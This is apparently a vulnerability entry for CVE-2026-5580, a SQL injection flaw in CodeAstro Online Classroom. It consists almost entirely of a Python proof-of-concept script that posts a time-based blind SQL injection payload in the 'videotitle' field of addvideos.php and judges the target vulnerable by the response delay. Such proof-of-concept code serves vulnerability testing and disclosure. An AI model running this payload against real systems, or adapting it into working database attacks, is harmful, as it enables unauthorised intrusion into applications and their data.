CVE-2026-5580 CodeAstro Online Classroom SQL注入漏洞

import requests def check_sqli(url): """ PoC for CVE-2026-5580 Target: /OnlineClassroom/addvideos.php Parameter: videotitle """ target = f"{url}/OnlineClassroom/addvideos.php" # Time-based blind SQL injection payload payload = { "videotitle": "test' AND (SELECT SLEEP(5))-- -", "videodescription": "test" } try: response = requests.post(target, data=payload, timeout=10) if response.elapsed.total_seconds() >= 5: return "[+] Vulnerable to SQL Injection" else: return "[-] Not vulnerable or patched" except Exception as e: return f"Error: {e}" if __name__ == "__main__": print(check_sqli("http://target-ip"))